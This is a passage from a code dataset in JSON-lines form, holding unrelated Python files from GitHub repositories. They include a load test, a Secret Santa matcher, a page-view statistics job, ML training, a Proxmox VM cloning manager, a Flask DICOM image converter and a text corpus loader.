user_auth_token = environ.get(\n \"CHTLT_USER_AUTH_TOKEN\", \"TheQuickBrownFox...\"\n )\n\n @task\n def classify(self):\n data = get_simulated_data(for_input=False)\n self.client.post(\n \"/api/v1/classify\", data=data,\n headers={\"Authorization\": \"Token {}\".format(self.user_auth_token)}\n )\n\n\nclass ClassifyRESTAPI(HttpUser):\n tasks = [ClassifyRESTAPITasks, ]\n","repo_name":"math-a3k/covid-ht","sub_path":"locustfiles/api_classify.py","file_name":"api_classify.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"25007093896","text":"import os\nimport pathlib\nimport random\n\nfrom classes import InputFiles, DataContent\nfrom read.files import ReadTxtInputFiles\nfrom write.write_to_file import WriteContentToFile\n\nif __name__ == '__main__':\n # Benutzer Eingabe\n result_file_name = \"wichtel_ergebnis.json\"\n\n # ********* Ab hier Finger weg ************\n input_obj = InputFiles(absolute_path_to_txt_files=os.path.join(pathlib.Path().resolve(), \"..\", \"input\"))\n # read input files\n content_phone = ReadTxtInputFiles.read_txt_file(full_file_name_path=input_obj.get_phone_number_full_path())\n content_tool = ReadTxtInputFiles.read_txt_file(full_file_name_path=input_obj.get_tool_list_full_path())\n\n content_obj = DataContent()\n content_obj.set_phone_list(phone=content_phone)\n content_obj.set_tool_list(tool=content_tool)\n\n # verify input files\n content_obj.verify_lists()\n\n # start random matching\n for jj in range(random.randint(10, 20)):\n random.shuffle(content_obj.get_phone_list())\n random.shuffle(content_obj.get_tool_list())\n # put lists together\n print(\"### Des isch na des Ergebnis:\")\n list_phone = content_obj.get_phone_list()\n list_tool = content_obj.get_tool_list()\n for jj in range(0, len(content_obj.get_phone_list())):\n print(f\"{list_phone[jj]} -> {list_tool[jj]}\")\n content_obj.final_dict[list_phone[jj]] = list_tool[jj]\n\n # write out result\n WriteContentToFile.write_dict_to_file(file_name=result_file_name, dict_var=content_obj.final_dict)\n\n print(\"### Finished\")\n","repo_name":"dimto13/wichtelautomat","sub_path":"src/main/1_main_wichteln.py","file_name":"1_main_wichteln.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71557687186","text":"# coding=utf-8\nfrom util import db_util\n\nquery = db_util.get_query()\n\n\ndef pvuv(path, stat_file_list):\n file_object = open(path+\"stat.log\")\n\n tot_pv_map = {}\n tot_uv_map = {}\n ios_pv_map = {}\n ios_uv_map = {}\n and_pv_map = {}\n and_uv_map = {}\n client_pv_map = {}\n client_uv_map = {}\n consultant_pv_map = {}\n consultant_uv_map = {}\n visitor_pv_map = {}\n visitor_uv_map = {}\n tourist_pv_map = {}\n tourist_uv_map = {}\n\n try:\n for f in stat_file_list:\n file_object = open(path+f)\n\n for line in file_object:\n line = line.strip()\n arr = line.split(',')\n time = arr[0][0:10]\n if arr[1] == 'null':\n continue\n if line.find(\"ks_web/api/notice\") != -1:\n continue\n ak = arr[1][2:3]\n uid = arr[3]\n role = arr[2]\n device = arr[4]\n url = arr[5]\n tot_pv_map.setdefault(time, 0)\n tot_pv_map[time] += 1\n tot_uv_map.setdefault(time+','+device, 0)\n tot_uv_map[time+','+device] += 1\n if ak == '2':\n ios_pv_map.setdefault(time, 0)\n ios_pv_map[time] += 1\n if ak == '2':\n ios_uv_map.setdefault(time+','+device, 0)\n ios_uv_map[time+','+device] += 1\n if ak == '1':\n and_pv_map.setdefault(time, 0)\n and_pv_map[time] += 1\n if ak == '1':\n and_uv_map.setdefault(time+','+device, 0)\n and_uv_map[time+','+device] += 1\n if role == 'client':\n client_pv_map.setdefault(time, 0)\n client_pv_map[time] += 1\n if role == 'client':\n client_uv_map.setdefault(time+','+device, 0)\n client_uv_map[time+','+device] += 1\n if role == 'consultant':\n consultant_pv_map.setdefault(time, 0)\n consultant_pv_map[time] += 1\n if role == 'consultant':\n consultant_uv_map.setdefault(time+','+device, 0)\n consultant_uv_map[time+','+device] += 1\n\n if role == 'visitor':\n visitor_pv_map.setdefault(time, 0)\n visitor_pv_map[time] += 1\n if role == 'visitor':\n visitor_uv_map.setdefault(time+','+device, 0)\n visitor_uv_map[time+','+device] += 1\n\n if role == 'tourist':\n tourist_pv_map.setdefault(time, 0)\n tourist_pv_map[time] += 1\n if role == 'tourist':\n tourist_uv_map.setdefault(time+','+device, 0)\n tourist_uv_map[time+','+device] += 1\n\n finally:\n file_object.close()\n\n tot_uv_map = clear_count(tot_uv_map)\n ios_uv_map = clear_count(ios_uv_map)\n and_uv_map = clear_count(and_uv_map)\n client_uv_map = clear_count(client_uv_map)\n consultant_uv_map = clear_count(consultant_uv_map)\n visitor_uv_map = clear_count(visitor_uv_map)\n tourist_uv_map = clear_count(tourist_uv_map)\n\n insert(tot_pv_map, 'tot_pv')\n insert(tot_uv_map, 'tot_uv')\n insert(ios_pv_map, 'ios_pv')\n insert(ios_uv_map, 'ios_uv')\n insert(and_pv_map, 'and_pv')\n insert(and_uv_map, 'and_uv')\n insert(client_pv_map, 'client_pv')\n insert(client_uv_map, 'client_uv')\n insert(consultant_pv_map, 'consultant_pv')\n insert(consultant_uv_map, 'consultant_uv')\n insert(visitor_pv_map, 'visitor_pv')\n insert(visitor_uv_map, 'visitor_uv')\n insert(tourist_pv_map, 'tourist_pv')\n insert(tourist_uv_map, 'tourist_uv')\n\n\ndef clear_count(dic):\n tot_map = {}\n for time, c in dic.items():\n time = time.split(',')[0]\n tot_map.setdefault(time, 0)\n tot_map[time] += 1\n return tot_map\n\n\ndef insert(dic, tp):\n for time, c in dic.items():\n query.Query(\n \" insert INTO ks_data_statistics.ks_pvuv(statday, %s) \"\n \"VALUES (%s, %s) on duplicate KEY UPDATE %s = %s\" %\n (tp, '\\''+time+'\\'', c, tp, c)\n )\n\nif __name__ == '__main__':\n pvuv()","repo_name":"chennqqi3/py_test","sub_path":"statistics/pvuv.py","file_name":"pvuv.py","file_ext":"py","file_size_in_byte":4326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40448318056","text":"import pandas as pd\nimport numpy as np\nimport os\nimport sys\nsys.path.insert(0, os.getcwd())\nfrom model import EncoderExtractor\nfrom src.helper.helpers import num_folds, __decoder_performances_file__, load_features, load_labels, __index_kfold__, __features__, split_train_test_valid, normalize_feature_data, __models_folder__, __best_encoder_file__, __decoder_file__, __result_files__\nfrom sklearn.svm import SVC\nimport pickle\nfrom collections import Counter\nimport warnings\nwarnings.filterwarnings('ignore')\n\n__C_values__ = [1e3, 1e4, 1e5]\n__gamma_values__ = [1e-4, 5e-4, 1e-3, 5e-3, 1e-2]\n\n#Read data\nimage_labels = pd.read_csv(__index_kfold__)\nflowers = image_labels['Flower'].values\ncounter = Counter(flowers)\nclass_word_names = np.array(sorted(list(counter.keys())))\nimages = load_features('image')\n\n\ndef run_training_decoders():\n predicted_targets = np.array([])\n actual_targets = np.array([])\n false_data = []\n kfold = pd.read_csv(__index_kfold__)\n\n best_encoders = pd.read_csv(__best_encoder_file__)\n best_decoders = pd.DataFrame(columns=['kfold_file', 'fold', 'model_path', 'C', 'gamma', 'val_acc', 'test_acc'])\n extractor = EncoderExtractor()\n X = load_features(__features__)\n y = load_labels()\n \n i = 0\n val_accs, test_accs = [], [] \n for fold in range(1, num_folds + 1):\n (X_train, y_train), (X_valid, y_valid), (X_test, y_test) = split_train_test_valid(__features__, kfold, fold, X, y)\n\n test_label_fold = image_labels[image_labels[f'Fold_{fold}'] == 'Test']\n image_arr = images[test_label_fold.index]\n\n model_paths = []\n for feature in __features__:\n encoder_file = best_encoders[np.logical_and(best_encoders['fold'] == fold, best_encoders['feature'] == feature)].iloc[0]['model_file']\n model_paths.append(encoder_file)\n extractor.load_encoders(model_paths)\n\n X_train = extractor.extract(X_train)\n X_valid = extractor.extract(X_valid)\n X_test = extractor.extract(X_test)\n X_train, X_valid, X_test = normalize_feature_data(\"combine\", X_train, X_valid, X_test)\n\n best_val_acc, best_test_acc = 0.0, 0.0\n output_path = os.path.join(__models_folder__, __decoder_file__.format(fold))\n bad_C_gamma_values = [] \n for C in __C_values__:\n for gamma in __gamma_values__:\n if [C, gamma] in bad_C_gamma_values:\n continue\n decoder = SVC(gamma=gamma, C=C)\n decoder.fit(X_train, y_train)\n val_acc = np.mean(decoder.predict(X_valid) == y_valid)\n test_acc = np.mean(decoder.predict(X_test) == y_test)\n y_pred = decoder.predict(X_test)\n if val_acc < 0.98:\n bad_C_gamma_values.append([C, gamma])\n if val_acc >= best_val_acc:\n best_val_acc = val_acc\n best_test_acc = test_acc\n best_y_pred = y_pred\n best_C, best_gamma = C, gamma\n with open(output_path, \"wb\") as outfile:\n pickle.dump(decoder, outfile)\n\n indices = np.where(best_y_pred != y_test)[0]\n for id in indices:\n image_data = (image_arr[id], class_word_names[y_test[id]], class_word_names[best_y_pred[id]]) #image arr, true, false\n false_data.append(image_data)\n\n predicted_targets = np.append(predicted_targets, best_y_pred)\n actual_targets = np.append(actual_targets, y_test)\n\n print(\"Fold {} - val_acc {} - test_acc {}\".format(fold, best_val_acc, best_test_acc))\n val_accs.append(best_val_acc)\n test_accs.append(best_test_acc)\n best_decoders.loc[i] = [__index_kfold__, fold, output_path, best_C, best_gamma, best_val_acc, best_test_acc]\n i += 1\n\n print(\"End of 10-fold CV\")\n print(\"Valid accuracy: {:.4f} +- {:.4f}\".format(np.mean(val_accs), np.std(val_accs)))\n print(\"Test accuracy: {:.4f} +- {:.4f}\".format(np.mean(test_accs), np.std(test_accs)))\n best_decoders.to_csv(__decoder_performances_file__, index=False)\n\n #Save result\n np.save(__result_files__['prediction'], predicted_targets)\n np.save(__result_files__['true'], actual_targets)\n np.save(__result_files__['false'], false_data)\n np.save(__result_files__['kfold_val_acc'],val_accs)\n np.save(__result_files__['kfold_test_acc'],test_accs)\n\nif __name__ == \"__main__\":\n run_training_decoders()\n print(\"Please check the results in data/interim.\")\n ","repo_name":"Tayerquach/Leave_Classfication","sub_path":"src/models/run_training_decoders.py","file_name":"run_training_decoders.py","file_ext":"py","file_size_in_byte":4529,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"12279294334","text":"import json\nimport os\n\nfrom forcuanteller.main.indicators.indicator import load_indicator\nfrom forcuanteller.main.utils.config import config\nfrom forcuanteller.main.utils.paths import transform_dir\nfrom forcuanteller.main.utils.ticker import load_ticker, get_available_tickers\n\n\ndef main(run_id):\n available_tickers = get_available_tickers(run_id)\n indicators_info = config.indicators\n buy_signals = {}\n sell_signals = {}\n\n for ticker in available_tickers:\n df = load_ticker(ticker, run_id)\n ticker_buy_signals = []\n ticker_sell_signals = []\n for indicator_info in indicators_info:\n indicator = load_indicator(indicator_info)\n buy_signal, sell_signal = indicator.get_signal(df, ticker, run_id)\n if buy_signal is not None:\n ticker_buy_signals.append(buy_signal)\n elif sell_signal is not None:\n ticker_sell_signals.append(sell_signal)\n\n if ticker_buy_signals:\n buy_signals[ticker] = ticker_buy_signals\n if ticker_sell_signals:\n sell_signals[ticker] = ticker_sell_signals\n\n reports = {\"buy_signals\": buy_signals, \"sell_signals\": sell_signals, \"run_id\": run_id}\n filename = \"transform_{}.json\".format(run_id)\n filepath = os.path.join(transform_dir, filename)\n\n with open(filepath, \"w+\") as f:\n json.dump(reports, f)\n","repo_name":"AdityaSidharta/ForcuanTeller","sub_path":"forcuanteller/main/transformer.py","file_name":"transformer.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3730000824","text":"#!/bin/python\n# -*- coding: utf8 -*-\nfrom ConfigWidget import *\nfrom LatticeWidget import *\nfrom EvolveWidget import *\nfrom ReprWidget import *\nfrom JobsWidget import *\n\nclass ConfGen(QMainWindow):\n def __init__(self):\n super().__init__()\n self.setCentralWidget(QWidget())\n self.Init()\n\n self.TabOrdering = {0 : \"General\", 1 : \"Lattice\", 2 : \"Evolve\", 3 : \"Jobs\", 4 : \"Representation\"}\n self.TabWidgetTypes = {\"General\" : ConfigWidget, \"Lattice\" : LatticeWidget, \"Evolve\" : EvolveWidget, \"Jobs\" : JobsWidget, \"Representation\" : RepresentationWidget}\n self.UpdateFunctions = {}\n\n for i in range(len(self.TabOrdering)): self.InitTab(i)\n\n self.resize(512,700)\n self.center()\n self.setWindowTitle('Monte Carlo simulation settings')\n self.show()\n\n def Init(self):\n self.TabWidgets = {}\n\n grid = QGridLayout()\n self.centralWidget().setLayout(grid)\n\n self.TabBox = QTabWidget(self)\n self.TabBox.currentChanged[int].connect(self.UpdateTab)\n grid.addWidget(self.TabBox, 0, 0)\n\n def InitTab(self, index):\n name = self.TabOrdering[index]\n self.TabWidgets[name] = self.TabWidgetTypes[name](name,self)\n self.TabBox.addTab(self.TabWidgets[name], name)\n\n def UpdateTab(self, index):\n name = self.TabOrdering[index]\n if name in self.UpdateFunctions:\n self.UpdateFunctions[name]()\n\n def center(self):\n qr = self.frameGeometry()\n cp = QDesktopWidget().availableGeometry().center()\n qr.moveCenter(cp)\n self.move(qr.topLeft())\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = ConfGen()\n sys.exit(app.exec_())\n","repo_name":"Milias/ModellingSimulation","sub_path":"Week4/python/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"8425893479","text":"# vm_manager.py \nimport random\nimport asyncio\nimport ipaddress\nimport proxmoxer\nimport logging\nimport yaml\nimport os\nimport requests\nimport socket \nfrom concurrent.futures import ThreadPoolExecutor\nfrom ansible_manager import AnsibleManager\nfrom delete_manager import DeleteManager\nfrom update_config_vm_manager import UpdateVMManager\nfrom update_network_vm_config import UpdateNetworkVMConfig\nfrom generate_id_manager import GenerateIDManager\n\nfrom dotenv import load_dotenv\n\n# Charger les variables d'environnement depuis .env\nload_dotenv()\n\nclass ProxmoxVMManager:\n def __init__(self, ip_manager, api_manager):\n self.ip_manager = ip_manager\n self.api_manager = api_manager\n self.logger = logging.getLogger(__name__)\n self.ansible_manager = AnsibleManager() \n self.delete_manager = DeleteManager(api_manager, self.ansible_manager)\n self.update_vm_manager = UpdateVMManager(api_manager)\n self.network_config_manager = UpdateNetworkVMConfig(api_manager)\n self.id_manager = GenerateIDManager(api_manager)\n\n async def delete_vm_async(self, vm_id, node, task_id, tasks):\n await self.delete_manager.delete_vm_async(vm_id, node, task_id, tasks)\n\n async def update_vm_network_config(self, node, vmid, bridge, ipv4_config=None, ipv4_gateway=None, ipv6_config=None, ipv6_gateway=None):\n return await self.network_config_manager.update_vm_network_config(node, vmid, bridge, ipv4_config, ipv4_gateway, ipv6_config, ipv6_gateway)\n\n\n async def is_ssh_ready(self, host, retries=5, delay=5):\n port = int(os.getenv('PORT_SSH', 22))\n for _ in range(retries):\n try:\n with socket.create_connection((host, port), timeout=10):\n return True\n except (socket.timeout, ConnectionRefusedError):\n await asyncio.sleep(delay)\n return False\n \n async def clone_vm_async(self, task_id, data, node, ip_pools, tasks):\n try:\n proxmox = await self.api_manager.get_proxmox_api()\n executor = ThreadPoolExecutor()\n loop = asyncio.get_running_loop()\n\n new_vm_id = await self.id_manager.generate_unique_vmid(node)\n new_vm_name = data.get('new_vm_name') or f\"MACHINE-{new_vm_id}\"\n clone_response = proxmox.nodes(node).qemu(data['source_vm_id']).clone.create(newid=new_vm_id, name=new_vm_name)\n vm_status = None\n application = data.get('application', None)\n\n vm_config = {\n 'cores': data.get('cpu'),\n 'memory': data.get('ram')\n }\n proxmox.nodes(node).qemu(new_vm_id).config.put(**vm_config)\n\n if 'disk_type' in data and 'disk_size' in data:\n proxmox.nodes(node).qemu(new_vm_id).resize.put(disk=data['disk_type'], size=data['disk_size'])\n\n selected_pool = None\n for pool in ip_pools:\n if data.get('ipv4') and ipaddress.ip_address(data['ipv4'].split('/')[0]) in ipaddress.ip_network(pool['network_ipv4']):\n selected_pool = pool\n break\n if data.get('ipv6') and ipaddress.ip_address(data['ipv6'].split('/')[0]) in ipaddress.ip_network(pool['network_ipv6']):\n selected_pool = pool\n break\n\n if not selected_pool:\n selected_pool = ip_pools[0]\n\n bridge = selected_pool['bridge']\n ipv4_config = data.get('ipv4') or (await self.ip_manager.find_free_ip(proxmox, node, selected_pool['network_ipv4'], selected_pool['gateway_ipv4']) + '/24')\n ipv6_config = data.get('ipv6') or (await self.ip_manager.find_free_ip(proxmox, node, selected_pool['network_ipv6'], selected_pool['gateway_ipv6']) + '/64')\n\n await self.update_vm_network_config(node, new_vm_id, bridge, ipv4_config, selected_pool['gateway_ipv4'], ipv6_config, selected_pool['gateway_ipv6'])\n\n if data.get('start_vm'):\n # Démarrer la VM\n await loop.run_in_executor(executor, lambda: proxmox.nodes(node).qemu(new_vm_id).status.start.post())\n\n # Vérifier si des applications sont spécifiées\n if 'application' in data and data['application']:\n # Attendre que la VM soit opérationnelle et que SSH soit prêt\n await asyncio.sleep(30) # Ajustez ce temps d'attente selon vos besoins\n\n # Boucle de vérification de la disponibilité de SSH\n ipv4 = ipv4_config.split('/')[0] if ipv4_config else None\n ssh_ready = False\n while not ssh_ready:\n try:\n if ipv4:\n ssh_ready = await self.is_ssh_ready(ipv4)\n if not ssh_ready:\n await asyncio.sleep(5) # Attendre 5 secondes avant de réessayer\n except Exception as e:\n self.logger.error(f\"Erreur lors de la vérification de SSH: {e}\")\n await asyncio.sleep(5) # Attendre et réessayer\n\n # Exécuter les playbooks Ansible si une application est spécifiée\n await self.ansible_manager.run_applications(new_vm_id, data['application'])\n\n \n # Mise à jour de l'inventaire Ansible\n ipv4_address = ipv4_config.split('/')[0] if ipv4_config else 'N/A'\n ipv6_address = ipv6_config.split('/')[0] if ipv6_config else 'N/A'\n \n await self.ansible_manager.update_ansible_inventory(\n new_vm_id, \n ipv4_address, # Enlever le masque de sous-réseau\n ipv6_address, # Enlever le masque de sous-réseau\n 'add', \n dns_name=new_vm_name, # Passer new_vm_name comme dns_name\n application=application\n )\n\n # Exécution du playbook si une application est spécifiée\n if 'application' in data:\n await self.ansible_manager.run_applications(new_vm_id, data['application'])\n\n # Configurer les informations de tâche comme complétées\n tasks[task_id] = {\n 'status': 'Completed',\n 'vm_status': vm_status.get('status', 'N/A') if vm_status else 'Unknown',\n 'vmid': new_vm_id,\n 'ipv4': ipv4_address,\n 'ipv6': ipv6_address\n }\n\n except Exception as e:\n if 'ipv4_config' in locals():\n self.ip_manager.unlock_ip(ipv4_config.split('/')[0])\n if 'ipv6_config' in locals():\n self.ip_manager.unlock_ip(ipv6_config.split('/')[0])\n raise e\n finally:\n if 'ipv4_config' in locals():\n self.ip_manager.unlock_ip(ipv4_config.split('/')[0])\n if 'ipv6_config' in locals():\n self.ip_manager.unlock_ip(ipv6_config.split('/')[0])\n","repo_name":"micferna/vm-proxmox","sub_path":"vm_manager.py","file_name":"vm_manager.py","file_ext":"py","file_size_in_byte":7069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39432337187","text":"import pydicom as dicom\nimport numpy as np\nfrom PIL import Image\nimport matplotlib.pylab as plt\n\n# image_path = 'C:\\\\Users\\\\User\\\\Downloads\\\\CHEST_PA_2577.dcm';\n# ds = dicom.dcmread(image_path)\n# plt.imshow(ds.pixel_array)\n\n# # specify your image path\n\n\n#\n# ds = dicom.dcmread('C:\\\\Users\\\\User\\\\Downloads\\\\CHEST_PA_2577.dcm')\n#\n# new_image = ds.pixel_array.astype(float)\n#\n# scaled_image = (np.maximum(new_image, 0) / new_image.max()) * 255.0\n#\n# scaled_image = np.uint8(scaled_image)\n# final_image = Image.fromarray(scaled_image)\n#\n# final_image.show()\n#\n#\n#\n#\n\nfrom flask import Flask, flash, request, redirect, url_for, render_template\nimport urllib.request\nimport os\nfrom werkzeug.utils import secure_filename\n\napp = Flask(__name__)\n\nUPLOAD_FOLDER = 'static/images/'\n\napp.secret_key = \"secret key\"\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024\n\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])\n\nDICOM_EXTENSIONS = set(['dcm'])\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\ndef dicom_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in DICOM_EXTENSIONS\n\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n@app.route('/', methods=['POST'])\ndef upload_image():\n if 'file' not in request.files:\n flash('No file part')\n return redirect(request.url)\n file = request.files['file']\n if file.filename == '':\n flash('No image selected for uploading')\n return redirect(request.url)\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n print(filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n #print('upload_image filename: ' + filename)\n flash('Image successfully uploaded and displayed below')\n return render_template('index.html', filename=filename)\n if file and dicom_file(file.filename):\n dicomfilename = secure_filename(file.filename)\n print(dicomfilename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], dicomfilename))\n ds = dicom.dcmread('C:\\\\Users\\\\User\\\\Downloads\\\\'+dicomfilename)\n\n new_image = ds.pixel_array.astype(float)\n\n scaled_image = (np.maximum(new_image, 0) / new_image.max()) * 255.0\n\n scaled_image = np.uint8(scaled_image)\n final_image = Image.fromarray(scaled_image)\n\n final_image.save('static\\\\images\\\\image.jpg')\n finalfilename='image.jpg'\n\n #print('upload_image filename: ' + filename)\n flash('Image successfully uploaded and displayed below')\n return render_template('index.html', filename=finalfilename)\n else:\n flash('Allowed image types are - png, jpg, jpeg, gif')\n return redirect(request.url)\n\n@app.route('/display/')\ndef display_image(filename):\n #print('display_image filename: ' + filename)\n return redirect(url_for('static', filename='images/' + filename), code=301)\n\nif __name__ == \"__main__\":\n app.run()","repo_name":"abidplabon/Dicom-image-to-JPG-converter","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2058098583","text":"\"\"\"\nConstants that are shared across files.\n\"\"\"\n\nNEG_ID = 0 # the negative sentiment id\nPOS_ID = 1 # the positive sentiment id\nNEU_ID = 2 # the neutral sentiment id\n\n# feature-related constants\nFEATURE_SETS = ['similarity', 'topic_similarity', 'word_embedding_similarity',\n 'diversity']\nSIMILARITY_FUNCTIONS = ['jensen-shannon', 'renyi', 'cosine', 'euclidean',\n 'variational', 'bhattacharyya']\nDIVERSITY_FEATURES = ['num_word_types', 'type_token_ratio', 'entropy',\n 'simpsons_index', 'quadratic_entropy', 'renyi_entropy']\n\n# task-related constants\nPOS = 'pos'\nPOS_BILSTM = 'pos_bilstm'\nSENTIMENT = 'sentiment'\nPARSING = 'parsing'\nTASKS = [POS, POS_BILSTM, SENTIMENT, PARSING]\nPOS_PARSING_TRG_DOMAINS = ['answers', 'emails', 'newsgroups', 'reviews', 'weblogs', 'wsj']\nSENTIMENT_TRG_DOMAINS = ['books', 'dvd', 'electronics', 'kitchen']\nTASK2TRAIN_EXAMPLES = {\n POS: 2000, POS_BILSTM: 2000, SENTIMENT: 1600, PARSING: 2000\n}\nTASK2DOMAINS = {\n POS: POS_PARSING_TRG_DOMAINS, POS_BILSTM: POS_PARSING_TRG_DOMAINS,\n SENTIMENT: SENTIMENT_TRG_DOMAINS, PARSING: POS_PARSING_TRG_DOMAINS\n}\n\n# method-related constants\nBAYES_OPT = 'bayes-opt'\nRANDOM = 'random'\nMOST_SIMILAR_DOMAIN = 'most-similar-domain'\nMOST_SIMILAR_EXAMPLES = 'most-similar-examples'\nALL_SOURCE_DATA = 'all-source-data'\nBASELINES = [RANDOM, MOST_SIMILAR_DOMAIN, MOST_SIMILAR_EXAMPLES, ALL_SOURCE_DATA]\n","repo_name":"sebastianruder/learn-to-select-data","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":167,"dataset":"github-code","pt":"48"} +{"seq_id":"17056139842","text":"import random\nimport uuid\nfrom django.db import models\nfrom django.db.models.signals import post_save\n\n\nclass Customer(models.Model):\n \"\"\"A model for Customer table\"\"\"\n\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n name = models.CharField(max_length=50)\n paternal_surname = models.CharField(max_length=50)\n email = models.EmailField(max_length=255)\n\n def __str__(self):\n return self.name\n\n\nclass PaymentsCustomer(models.Model):\n \"\"\"A model for Payments Table\"\"\"\n\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n amount = models.DecimalField(max_digits=6, decimal_places=2)\n product_name = models.CharField(max_length=100)\n quantity = models.IntegerField()\n customer = models.ForeignKey(Customer, on_delete=models.CASCADE)\n\n def __str__(self):\n return self.product_name\n\n\ndef create_dummy_payments_signal(sender, instance, **kwargs):\n payments_count = random.randint(1, 9)\n customer = instance\n\n for payment in range(0, payments_count):\n random_amount = random.randint(20, 5000)\n random_quantity = random.randint(1,20)\n\n PaymentsCustomer.objects.create(\n product_name=f\"Pago {payment}\",\n amount=random_amount,\n quantity=random_quantity,\n customer=customer\n )\n\npost_save.connect(create_dummy_payments_signal, sender=Customer)\n","repo_name":"chrisvilla96/django-paycode-assesment","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38558127602","text":"import os\nimport re\nfrom pathlib import Path\nfrom typing import Dict, List, NamedTuple\nfrom zipfile import ZipFile\n\nimport requests\nfrom sklearn.model_selection import train_test_split\nfrom tqdm.auto import tqdm\n\n_re_tokens = re.compile(r\"([\\w][\\w]*'?\\w?)\")\n\n\nclass Message(NamedTuple):\n id: int\n text: str\n\nCorpus = Dict[str, List[Message]]\n\n_local_filename = \"data/1551.zip\"\n_data_link = \"https://github.com/vseloved/prj-nlp-2019/raw/master/tasks/1551.zip\"\n_uk_chars = set('іїє')\n\n\ndef text2tokens(text: str)->List[str]:\n return _re_tokens.findall(text)\n\n\ndef check_if_file_exist_make_dir(filename: str) -> bool:\n \"\"\"\n Function performs the following checks:\n if file directory does not exist, directory is created.\n :param filename: name of a new file.\n :return: boolean sign if file is already existed.\n \"\"\"\n file_path = Path(filename)\n dir_ = str(file_path.parent.absolute())\n if not os.path.exists(dir_):\n os.mkdir(dir_)\n return file_path.is_file()\n\n\ndef download_with_progress(link: str, filename: str):\n file_path = Path(filename)\n\n dir_ = str(file_path.parent.absolute())\n if not os.path.exists(dir_):\n os.mkdir(dir_)\n\n if file_path.is_file():\n print(f\"File '{file_path.absolute()}' is already existed, downloading was skipped.\")\n return\n\n with open(filename, \"wb\") as f:\n print(\"Downloading '%s'\" % filename)\n response = requests.get(link, stream=True)\n total_length = response.headers.get('content-length')\n\n if total_length is None: # no content length header\n print(f\"Length of the downloaded file is unknown, start downloading\")\n f.write(response.content)\n else:\n wrote = 0\n total_size: int = int(total_length)\n chunk_size = 1024 * 8\n with tqdm(total=total_size, unit=\"B\") as p_bar:\n for data in response.iter_content(chunk_size=chunk_size):\n bl_size = f.write(data)\n wrote += bl_size\n p_bar.update(bl_size)\n\n print(f\"File downloaded, length = {file_path.stat().st_size} b\")\n\n\ndef is_ua_text(text):\n return any(c for c in text.lower() if c in _uk_chars)\n\n\ndef parse_raw_category(raw_text: str) -> List[Message]:\n res = []\n\n buff = []\n prev_was_empty_line = False\n\n def flush_buff():\n if buff:\n id_ = int(buff[0])\n text = '\\n'.join(buff[1:])\n if is_ua_text(text):\n res.append(Message(id_, text))\n buff.clear()\n nonlocal prev_was_empty_line\n prev_was_empty_line = False\n\n lines = raw_text.splitlines()\n lines_num = len(lines)\n for i, line in enumerate(lines):\n line = line.strip()\n if not line and prev_was_empty_line:\n if i + 1 < lines_num:\n if lines[i + 1].isdigit():\n flush_buff()\n else:\n buff.append(line)\n prev_was_empty_line = not line\n flush_buff()\n\n return res\n\n\ndef load_corpora() -> Corpus:\n res = {}\n dir_ = os.path.dirname(os.path.abspath(__file__))\n filename = os.path.join(dir_, _local_filename)\n if not check_if_file_exist_make_dir(filename):\n download_with_progress(_data_link, filename)\n with ZipFile(filename) as zip_corpus:\n all_names = zip_corpus.namelist()\n all_names = [name for name in all_names if name.endswith('.txt')]\n for name in all_names:\n with zip_corpus.open(name) as cat:\n raw_text = cat.read().decode(encoding='utf-8', errors='replace')\n messages = parse_raw_category(raw_text)\n category_name = os.path.basename(os.path.splitext(name)[0])\n res[category_name] = messages\n return res\n\n\ndef load_train_and_test() -> (Corpus, Corpus):\n full_corpora = load_corpora()\n res_train, res_test = {}, {}\n for name, messages in full_corpora.items():\n train, test = train_test_split(messages, random_state=1974)\n res_train[name] = train\n res_test[name] = test\n return res_train, res_test\n\n\ndef main():\n texts = load_corpora()\n texts_list = list(texts.items())\n print(f\"Categories found: {len(texts_list)}\")\n min_cat_len = min(len(val) for name, val in texts_list)\n min_cat_ind, min_cat_name = next((i, x[0]) for i, x in enumerate(texts_list) if len(x[1]) == min_cat_len)\n print(f\"Min len cat: '{min_cat_name}' ({min_cat_len})\")\n max_cat_len = max(len(val) for name, val in texts_list)\n max_cat_ind, max_cat_name = next((i, x[0]) for i, x in enumerate(texts_list) if len(x[1]) == max_cat_len)\n print(f\"Max len cat: '{max_cat_name}' ({max_cat_len})\")\n\n train, test = load_train_and_test()\n train_total_len = sum(len(m) for k, m in train.items())\n test_total_len = sum(len(m) for 